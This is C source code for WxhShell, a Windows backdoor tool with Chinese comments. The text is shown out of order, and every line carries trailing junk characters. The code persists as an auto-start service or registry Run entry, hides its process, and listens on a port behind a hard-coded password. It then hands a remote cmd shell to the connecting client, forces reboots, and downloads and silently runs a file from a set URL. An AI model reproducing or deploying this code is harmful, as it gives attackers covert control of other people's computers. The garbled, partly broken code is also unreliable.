    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =zw=J p  
    else { -dXlGOD+C  
    closesocket(wsh); H/8H`9S$  
    ExitThread(0); kO:|?}Koc  
    } Yud]s~N  
    break; R=uzm=&nR  
    } /Q h  
  // 获取shell b~;gj^  
  case 's': { @c&}\#;  
    CmdShell(wsh); }SL&Y`Y]  
    closesocket(wsh); 3IXai)6U  
    ExitThread(0); l,cnM r^.W  
    break; up+W[#+  
  } yV=Ku  
  // 退出 BJGL &N  
  case 'x': { N ]KS\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <a9<rF =r  
    CloseIt(wsh); VyQ@. Lm  
    break; gDHgXD D_b  
    } uSnG=tB  
  // 离开 5`su^  
  case 'q': { }yQ&[Mt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yj%hgb:)  
    closesocket(wsh); ?:@13wm  
    WSACleanup(); #2*l"3.$.R  
    exit(1); MBy0Ky  
    break; $~x#Q?-y  
        } <(YE_<F*  
  } O &DkB*-  
  } +ucj>g1(#  
m |K"I3W$  
  // 提示信息 ;#'YO1`gf3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <( "M;C3y  
} ?'RB)M=Og7  
  } 9W^sq<tR  
MNC=r?  
  return; %:yp>nm  
} T@K= * p  
6I)[6R  
// shell模块句柄 tX'`4!{@+  
int CmdShell(SOCKET sock) e}@VR<h  
{ x9ll0Ht  
STARTUPINFO si; xIt'o(jQH  
ZeroMemory(&si,sizeof(si)); KGM9 b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \<e?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7j,-o  
PROCESS_INFORMATION ProcessInfo; DIsK+1  
char cmdline[]="cmd"; rcq^mPdQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (Dat`:  
  return 0; " V[=U13  
} RIC\f_Dv  
KU]co4]8^s  
// 自身启动模式 h#hx(5"6  
int StartFromService(void) I |PEC-(  
{ <x!q! ;  
typedef struct n8p vzlj1  
{ `!Z0; qk  
  DWORD ExitStatus; LDDg g u   
  DWORD PebBaseAddress; ;C ^!T  
  DWORD AffinityMask; ?g{--'L  
  DWORD BasePriority; D =+md  
  ULONG UniqueProcessId; UWW^g@d4  
  ULONG InheritedFromUniqueProcessId; m&PfZ%'[  
}   PROCESS_BASIC_INFORMATION; %IA1Y>`  
-1_WE/Ps  
PROCNTQSIP NtQueryInformationProcess; hqXp>.W  
}}Zwdpo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uI9eUO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V jdu9Ez  
`w6*(t:T  
  HANDLE             hProcess; cyMvjzzRN  
  PROCESS_BASIC_INFORMATION pbi; lGlh/B%  
"L0Q"t:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OXxgnn>W'  
  if(NULL == hInst ) return 0; adcH3rV  
ybC0Ee@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =ea'G>;[H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N&uRL_X .  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AqA.,;G  
xA'RO-a}h  
  if (!NtQueryInformationProcess) return 0; bJ"}-s+Dx  
q90 ~)n?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *g*~+B :  
  if(!hProcess) return 0; bA-/"'Vp9  
D03QisH=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &At9@  
>"q?P^f/  
  CloseHandle(hProcess); h S 9^Bi  
%ws@t"aER  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~eyZH8&  
if(hProcess==NULL) return 0; Al3*? H&  
!gm@QO cF  
HMODULE hMod; "C.cU  
char procName[255]; +h)1NX;o1  
unsigned long cbNeeded; *`_ 2uBz  
!DM GAt\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ri2`M\;gt  
[k]3#<sS  
  CloseHandle(hProcess);  /M@[ 8  
v@d]*TG  
if(strstr(procName,"services")) return 1; // 以服务启动 ^H!45ph?Jc  
;04< 9i  
  return 0; // 注册表启动 nh]HEG0CZJ  
} FN<S agj  
l[6lXR&|  
// 主模块  \62!{  
int StartWxhshell(LPSTR lpCmdLine) )*L=$0R  
{ 2xBYJoF(  
  SOCKET wsl; yf2P6b\  
BOOL val=TRUE; Eq=j+ch7  
  int port=0; 4iv&!hAc;  
  struct sockaddr_in door; #l 6QE=:  
gh-i| i,  
  if(wscfg.ws_autoins) Install(); 1'%n?\OK66  
+xuj]J  
port=atoi(lpCmdLine); GvBmh.  
fizL_`uMqb  
if(port<=0) port=wscfg.ws_port; & h\!#X0  
]2c0?f*Y7  
  WSADATA data; t pa<)\7KJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TSH'OW !b  
&Z(6i}f,Gp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f#\Nz>tOhE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ><qA+/4]_  
  door.sin_family = AF_INET; Nj.;mr<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oS~;>]W  
  door.sin_port = htons(port); Fd#Zu.Np  
p~v0pi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mzw:c#  
closesocket(wsl); 8H,k0~D  
return 1; >IipWTVo<  
} 7M~/[f7Z{  
}tQ^ch;Q  
  if(listen(wsl,2) == INVALID_SOCKET) { L9]d$ r"  
closesocket(wsl); >[ g=G  
return 1; !AG {`[b  
} KV! (   
  Wxhshell(wsl); Fd<eh(g9P  
  WSACleanup(); tNQACM8F;  
z3{Cp:Mn  
return 0; +p$lVnAt  
e>P>DmlW  
} @aP1[(m  
6Fc*&7Z+  
// 以NT服务方式启动 EeGTBVms  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) viJP6fh  
{ r5y*SoD!  
DWORD   status = 0; yY]E~  
  DWORD   specificError = 0xfffffff; &}t8O?!  
_M^^0kf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;0`IFtz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y8Rq2jI;(e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &Mz]y?k'  
  serviceStatus.dwWin32ExitCode     = 0; l&5Tft  
  serviceStatus.dwServiceSpecificExitCode = 0; +|TXKhm{  
  serviceStatus.dwCheckPoint       = 0; cI&XsnY  
  serviceStatus.dwWaitHint       = 0; HA[7)T N1E  
0\, !  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  n}- _fx  
  if (hServiceStatusHandle==0) return; s5V|.R  
!N!AO(Z  
status = GetLastError(); ;%k C?Vzi  
  if (status!=NO_ERROR) $R+rB;=a!  
{ [Zzztn+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :98:U~ d1  
    serviceStatus.dwCheckPoint       = 0; xSDTO$U8%  
    serviceStatus.dwWaitHint       = 0; LB[?kpy  
    serviceStatus.dwWin32ExitCode     = status; a!f71k r  
    serviceStatus.dwServiceSpecificExitCode = specificError; +~=j3U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \#IKirf?  
    return; ] g8z@r"b  
  } nB 0KDt_  
Q- w_ @~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EB@rIvUi,  
  serviceStatus.dwCheckPoint       = 0; i|xz  
  serviceStatus.dwWaitHint       = 0; nwzyL`kF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cs\jPh;"  
} sXNb  
< +k dL  
// 处理NT服务事件,比如:启动、停止 &aa3BgxyE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;}M&fXFp"|  
{ \(&&ed:  
switch(fdwControl) LFr$h`_D5  
{ $My~sN8  
case SERVICE_CONTROL_STOP: TuaP  
  serviceStatus.dwWin32ExitCode = 0; o wI:Qs_/4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6urU[t1  
  serviceStatus.dwCheckPoint   = 0; [=tIgMmz  
  serviceStatus.dwWaitHint     = 0; Rg+# (y  
  { NqveL<r`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W}%"xy]N  
  } V DZOJM)(  
  return; #?,"/Btq  
case SERVICE_CONTROL_PAUSE: >_G'o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u:6R|%1fNn  
  break; e Qk5:{[  
case SERVICE_CONTROL_CONTINUE: FvO,* r9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,yvS c  
  break; nJ/}b/A{  
case SERVICE_CONTROL_INTERROGATE: 2$`Y 4b3t  
  break; `M. I.Z_  
}; uBn35%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @K}h4Yok  
} 6j+X@|2^  
L GVy4D  
// 标准应用程序主函数 MZB}O" r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y~\uS  
{ ?Zk;NL9  
-YmIRocx  
// 获取操作系统版本 uPxjW"M+  
OsIsNt=GetOsVer(); TIR Is1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w`3.wALb  
eT]*c?"  
  // 从命令行安装 i}i >ho-8  
  if(strpbrk(lpCmdLine,"iI")) Install(); x25zk4-  
zr_L V_e  
  // 下载执行文件  Zy8tI#  
if(wscfg.ws_downexe) { ,?Zy4-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7zJ2n/`m*  
  WinExec(wscfg.ws_filenam,SW_HIDE); )0"T?Ivp]  
} o^//|]H3Y  
0vBQzM Q  
if(!OsIsNt) { \Sv|yQUT  
// 如果时win9x,隐藏进程并且设置为注册表启动 $J,$_O6  
HideProc(); \pTv;(  
StartWxhshell(lpCmdLine); Y6d~hLC  
} W- nS{v(  
else "a33m:]J  
  if(StartFromService()) 2tCw{Om*  
  // 以服务方式启动 ]=I2:Rb  
  StartServiceCtrlDispatcher(DispatchTable); [z+YX s!N  
else 6E:H  
  // 普通方式启动 8 Gy*BpmJn  
  StartWxhshell(lpCmdLine); 0Zo><=  
Z7[S698  
return 0; P4c3kO0  
} [KbLEMrPba  
O, :|  
 cz>)6#&O  
es\ qnq  
=========================================== jVN=_Y}\  
aG4 ^xOD  
"wKJ8  
Cw kQhj?  
$=^}J 6  
QMrH%Y  
" \u[5O@v#  
#UI`+2w  
#include <stdio.h> W[]|Uu/%  
#include <string.h> ^^tTA^  
#include <windows.h> sCQV-%9  
#include <winsock2.h> KV9~L`=]i  
#include <winsvc.h> 0/fZDQH  
#include <urlmon.h> P c5C*{C  
d7zZ~n  
#pragma comment (lib, "Ws2_32.lib") bJR\d0Z  
#pragma comment (lib, "urlmon.lib") xS+xUi  
MTgf.  
#define MAX_USER   100 // 最大客户端连接数 tI#65ox#  
#define BUF_SOCK   200 // sock buffer R$`&g@P="  
#define KEY_BUFF   255 // 输入 buffer \9od*y  
yT7{,Z7t  
#define REBOOT     0   // 重启 h<PS<  
#define SHUTDOWN   1   // 关机 Ah5o>ZtcO  
+ek6}f#  
#define DEF_PORT   5000 // 监听端口 }NdLd!  
Xa$%`  
#define REG_LEN     16   // 注册表键长度 R3)ccom  
#define SVC_LEN     80   // NT服务名长度 ;G"!y<F  
Qx!Bf_,J  
// 从dll定义API een62-`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~YviXSW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "@5{=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T xpj#JD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); > #9 a&O  
ZGCp[2$  
// wxhshell配置信息 +#(GU9_i+M  
struct WSCFG { #,})N*7  
  int ws_port;         // 监听端口 Y(K`3? A  
  char ws_passstr[REG_LEN]; // 口令 <dBz]W  
  int ws_autoins;       // 安装标记, 1=yes 0=no F4Cq85#  
  char ws_regname[REG_LEN]; // 注册表键名 p_apVm\t_  
  char ws_svcname[REG_LEN]; // 服务名 ]<q!pE;t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q%/.+g2-\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 19oyoi"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uz=9L<$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 92b}N|u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PtL8Kd0`C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~52'iI)Mw  
07ppq?,y  
}; "tpD ->  
k>!i _lb  
// default Wxhshell configuration &rG]]IO  
struct WSCFG wscfg={DEF_PORT, Z*NTF:6c  
    "xuhuanlingzhe", mfDt_Iq  
    1, |&bucG=  
    "Wxhshell", mU||(;I  
    "Wxhshell", W}(T5D" 3x  
            "WxhShell Service", -G=.3 bux  
    "Wrsky Windows CmdShell Service", 8S[bt@v  
    "Please Input Your Password: ", o{mVXidE  
  1, yRQNmR;Uy  
  "http://www.wrsky.com/wxhshell.exe", M%SNq|Lo  
  "Wxhshell.exe" KXWz(L!1  
    }; <fMQ#No  
c <Q*g  
// 消息定义模块 C!^;%VQ}d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /Vx EqIK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $!\L6;:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -Wre4 ^,v  
char *msg_ws_ext="\n\rExit."; tejpY  
char *msg_ws_end="\n\rQuit."; Dx9k%G)!  
char *msg_ws_boot="\n\rReboot..."; d9T:0A`M  
char *msg_ws_poff="\n\rShutdown..."; <si cldz  
char *msg_ws_down="\n\rSave to "; =<ht@-1  
_,p/2m-Pj  
char *msg_ws_err="\n\rErr!"; ]/[@.   
char *msg_ws_ok="\n\rOK!"; OO,%zwgt  
CT<z1)#@^  
char ExeFile[MAX_PATH]; cBCC/n  
int nUser = 0; 9wdX#=I  
HANDLE handles[MAX_USER]; IZd~Am3f  
int OsIsNt; 1gLET.I:  
m?;/H  
SERVICE_STATUS       serviceStatus; I}]UQ4XJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f67pvyy -  
MOuEsm;  
// 函数声明 V[7D4r.j  
int Install(void); kn&BGYt  
int Uninstall(void); w.=rea~  
int DownloadFile(char *sURL, SOCKET wsh); R+Ug;r-[  
int Boot(int flag); UyDq`@h  
void HideProc(void); y+Bxe )6^V  
int GetOsVer(void); tC7 4=  
int Wxhshell(SOCKET wsl); #V Z js`d6  
void TalkWithClient(void *cs); /d$kz&aIV  
int CmdShell(SOCKET sock); u|Ng>lU  
int StartFromService(void);  ]l  
int StartWxhshell(LPSTR lpCmdLine); ;g<y{o"Q3p  
1h{7dLA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %V#? 1{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j`MK\*qmz  
#"[EVF0%1D  
// 数据结构和表定义 R~RE21kAc  
SERVICE_TABLE_ENTRY DispatchTable[] = 5hDPX \  
{ Z07n>|WF-  
{wscfg.ws_svcname, NTServiceMain}, Pup%lO`.0  
{NULL, NULL} acj-*I  
}; nM99AW  
L#!m|_Mz  
// 自我安装 bj?=\u  
int Install(void) |jcIn[)=  
{ /9?yw!  
  char svExeFile[MAX_PATH]; TT&%[A+  
  HKEY key; }8`>n4  
  strcpy(svExeFile,ExeFile); p>W@h*[6w  
s Dsq:z  
// 如果是win9x系统,修改注册表设为自启动 <2O XXQ1  
if(!OsIsNt) { $A T kCO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VaO[SW^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bb-u'"5^]  
  RegCloseKey(key); q&LCMnv"P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y6(= cm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hOuHTo^  
  RegCloseKey(key); 3XNk*Y[5  
  return 0; 1*trtb4F  
    } sR)jZpmC(  
  } (N`GvB7;  
} d\r-)VWSr"  
else { +R;s< pZ^  
y43ha  
// 如果是NT以上系统,安装为系统服务  eAG)+b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :Vw{ l B  
if (schSCManager!=0) \=o0MR  
{ pv"s!q&  
  SC_HANDLE schService = CreateService  Af`Tr6)  
  ( Wmx3@]<  
  schSCManager, @R(Op|9  
  wscfg.ws_svcname, NnaO!QW%  
  wscfg.ws_svcdisp, rU 1Ri  
  SERVICE_ALL_ACCESS, "|V}[ 2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aDu[iaZ  
  SERVICE_AUTO_START, PM'2zP[*W  
  SERVICE_ERROR_NORMAL, )RQQhB  
  svExeFile, ]kF1~kXBe  
  NULL, UKPr[  
  NULL, dEW= V"W  
  NULL, jINI<[v[  
  NULL, #qeC)T  
  NULL {uJ"%  
  ); z";(0%  
  if (schService!=0) vJS}_j]_@  
  { w(K|0|t  
  CloseServiceHandle(schService); Jm"W+! E  
  CloseServiceHandle(schSCManager); jB l$r{L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oA@c.%&  
  strcat(svExeFile,wscfg.ws_svcname); D|^N9lDaQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;<"V}, C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /vu]ch  
  RegCloseKey(key); JVr8O`>T  
  return 0; $aN%[  
    } '`f+QP=`  
  } !YZKa-  
  CloseServiceHandle(schSCManager); }}k*i0  
} .L]5,#2([  
} {L [   
k4E9=y?  
return 1; IreY8.FND  
} 1GB]Yi[>  
iSg0X8J)  
// 自我卸载 ?e,:x ]\L  
int Uninstall(void) \&ki79Ly-  
{ B]E c  
  HKEY key; AlkHf]oB  
3i'01z  
if(!OsIsNt) { VT=gb/W6)a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?<Lm58p8  
  RegDeleteValue(key,wscfg.ws_regname); Cpy&2o-%v  
  RegCloseKey(key); Dsb Tx.vA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $Sa7N%D  
  RegDeleteValue(key,wscfg.ws_regname); (h g6<`  
  RegCloseKey(key); c;06>1=wP5  
  return 0; ?/-WH?1I  
  } DbX7?Jr  
} pZ3sp!  
} J@}PySq  
else { GlRjbNW?Q  
)=MK&72r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NJVkn~<  
if (schSCManager!=0) 0C  K  
{ GIn%yB'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -;FAS3(wy  
  if (schService!=0) *[*q#b$j  
  { pU'>!<zGr  
  if(DeleteService(schService)!=0) { g j]8/~lr  
  CloseServiceHandle(schService); @+Sr~:K  
  CloseServiceHandle(schSCManager); 8#- Nx]VM  
  return 0; Aq$1#1J  
  } _\Z'Yl  
  CloseServiceHandle(schService); *N:0L,8  
  } >VQLC&u(  
  CloseServiceHandle(schSCManager); a1/+C$ oB  
} aDxNAfP  
} CQ^(/B^c  
0a#v}w^ *  
return 1; kE8s])Z,+  
} s S#/JLDx]  
!!)$?R;1  
// 从指定url下载文件 P8|ANe1 v  
int DownloadFile(char *sURL, SOCKET wsh) 4cM0f,nc+  
{ a?8)47)  
  HRESULT hr; ;134$7!Y  
char seps[]= "/"; z,7;+6*=L  
char *token; $p&eS_f  
char *file; u%E8&T8,  
char myURL[MAX_PATH]; xpo^\E?2  
char myFILE[MAX_PATH]; n:) [ %on  
vCSC:  
strcpy(myURL,sURL); gsM^Pu09ud  
  token=strtok(myURL,seps); A#19&}  
  while(token!=NULL) rqdN%=C  
  { js"5{w&  
    file=token; (_>Su QK  
  token=strtok(NULL,seps); w?^[*_Y  
  } K[0z$T\  
5(hv|t/a  
GetCurrentDirectory(MAX_PATH,myFILE); e@TwZ6l  
strcat(myFILE, "\\"); CI-za !T  
strcat(myFILE, file); 3&AJN#c  
  send(wsh,myFILE,strlen(myFILE),0); GiEt;8  
send(wsh,"...",3,0); C4.GtY8,d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rxyeix  
  if(hr==S_OK) QT^b-~^  
return 0; j>:N0:  
else /V/NL#(R  
return 1; r<!nU&FPD:  
yt5<J-m  
} hhZ%{lqL  
.Wy'  
// 系统电源模块 |Rkw/5  
int Boot(int flag) Og1vD5a  
{ F`x_W;\  
  HANDLE hToken; su1fsoL0  
  TOKEN_PRIVILEGES tkp; sCrP+K0D  
at@tS>Dv  
  if(OsIsNt) { y2s(]# 8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JW^ ${4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  HB'9&  
    tkp.PrivilegeCount = 1; a~_JTH4=t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :?g+\:`/0j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6fo" k+S  
if(flag==REBOOT) { uyB2   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?#(LH\$l_  
  return 0; u^{p' a'  
} 2-8Dc4H]r  
else { $6wSqH?q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4}/gV)  
  return 0; %,02i@Fc  
} w->Y92q]  
  } "49dsKIOH  
  else { vCJa%}  
if(flag==REBOOT) { z`E=V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dEKu5GI  
  return 0; u_9c>  
} eQ#i.%   
else { g1[BrT,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xlwf @XW  
  return 0; g*YA~J@  
} l~]] RgU  
} !JrKTB%  
|a#ikY _nd  
return 1; w[gt9]}N  
} sZ&|omN  
H(76sE  
// win9x进程隐藏模块 aaY AS"/:  
void HideProc(void) jwE=  
{ <zn)f@W  
;#v3C;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C@`#@1X  
  if ( hKernel != NULL ) K\U`gTGc  
  { {*GBUv5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L k nK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zc)nDyn  
    FreeLibrary(hKernel); 4uoZw 3O  
  } ~s HdOMw  
oOI0q_bf  
return; #1'q'f:7 &  
} Bj \ x  
hjg1By(  
// 获取操作系统版本 N)Q_z9b=  
int GetOsVer(void) F=e;[uK\  
{ +yfUB8Xw  
  OSVERSIONINFO winfo; qF bj~ec  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >KrI}>!9r  
  GetVersionEx(&winfo); &M?b 08  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h]&  
  return 1; b; C}=gg  
  else TM#L.xPMf  
  return 0; oz=ULPZ%  
} B(s^(__]  
{z 5YJ*C  
// 客户端句柄模块 >Df; 1:U  
int Wxhshell(SOCKET wsl) Iga +8k  
{ aIa<,  
  SOCKET wsh; =L#&`s@)_  
  struct sockaddr_in client; 8493Sw  
  DWORD myID; I[K4/91  
M 1 m]1<  
  while(nUser<MAX_USER) fWEQ vQ  
{ s1cu5eCt  
  int nSize=sizeof(client); 3h.,7,T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N(4y}-w$  
  if(wsh==INVALID_SOCKET) return 1; L{jx'[C  
Iv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c$ib-  
if(handles[nUser]==0) |^5"-3Q  
  closesocket(wsh); "0PsCr}!  
else hL/u5h%$  
  nUser++; 1gBLJ0q  
  } kI(3Pf ].  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8~Zw"  
Yn [ F:Z  
  return 0; #3_g8ni5X  
} Hm'fK$y(  
]\|2=  
// 关闭 socket Hm>cKPZ)  
void CloseIt(SOCKET wsh) zT)cg$8%fY  
{ T8g\_m  
closesocket(wsh); XTX/vbge3m  
nUser--; Z_bVCe{  
ExitThread(0); ldp9+7n~  
} p({@t=L3g  
Pi5MFw'v  
// 客户端请求句柄 ~x9J&*zxM  
void TalkWithClient(void *cs) =TEe:%mN  
{ $#n9C79Z@  
oh$"?N7n1  
  SOCKET wsh=(SOCKET)cs; xa'U_]m  
  char pwd[SVC_LEN]; H?;+C/-K`_  
  char cmd[KEY_BUFF]; FEu}zt@  
char chr[1]; d m"R0>  
int i,j; Ww8U{f  
\9p.I?=  
  while (nUser < MAX_USER) { Jxe5y3* (  
+-;v+{  
if(wscfg.ws_passstr) { 5|eX@?QF58  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yw+]S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gev\bQa  
  //ZeroMemory(pwd,KEY_BUFF); SbX^DAlB1  
      i=0;  Xp<O  
  while(i<SVC_LEN) { i03S9J  
lGp:rw`  
  // 设置超时  y_[VhZ%  
  fd_set FdRead; cu5}(  
  struct timeval TimeOut; '=+N )O  
  FD_ZERO(&FdRead); 3v3cK1K@oE  
  FD_SET(wsh,&FdRead); S9l po_!z  
  TimeOut.tv_sec=8; \2El>>  
  TimeOut.tv_usec=0; Ag:/iB ]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _Fj\0S"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rT;l#<#VE  
rr`_\ut  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wsrdBxd5  
  pwd=chr[0]; w_`;Mn%p  
  if(chr[0]==0xd || chr[0]==0xa) { d=+zOF  
  pwd=0; C<:wSS^@1  
  break; P;y!Y/$C  
  } n@kJ1ee'  
  i++; `r=^{Y  
    } LQ Ux}  
7!`1K_v6  
  // 如果是非法用户,关闭 socket (]mBAQ#hw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h-Ks:pcR  
} b?Q$UMAbH  
Wn;%B].I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G~&q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \[]BB5)8  
m#Z9wf] F  
while(1) { j1Sjw6}GCH  
)knK'H(  
  ZeroMemory(cmd,KEY_BUFF); 1M_6X7PH  
eUa:@cA  
      // 自动支持客户端 telnet标准   Xsb.xxK.  
  j=0; ;gJAxVD<  
  while(j<KEY_BUFF) { &kWT<*;J)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OHngpe4  
  cmd[j]=chr[0]; h>xB"E|.  
  if(chr[0]==0xa || chr[0]==0xd) { g:c?%J  
  cmd[j]=0; }{J>kgr6  
  break; )99^58my  
  } 0 >(hiT y<  
  j++; ?g K|R  
    } -DZ5nx  
a(-t"OL\  
  // 下载文件 :W-xsw  
  if(strstr(cmd,"http://")) {  - sq= |  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L)H/t6}i  
  if(DownloadFile(cmd,wsh)) %&'[? LXD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lYm00v6y  
  else Yv{$XI7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l~1l~Gx_&n  
  } (c3O> *M  
  else { gZz5P>^  
*L<<S=g$2  
    switch(cmd[0]) { 77]Fp(uI  
  6SAYe%e  
  // 帮助 7;#o?6!7  
  case '?': { c/-'^+9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ( ~>-6Nb 5  
    break; tg2+Z\0)4g  
  } 0}>p)k3&A  
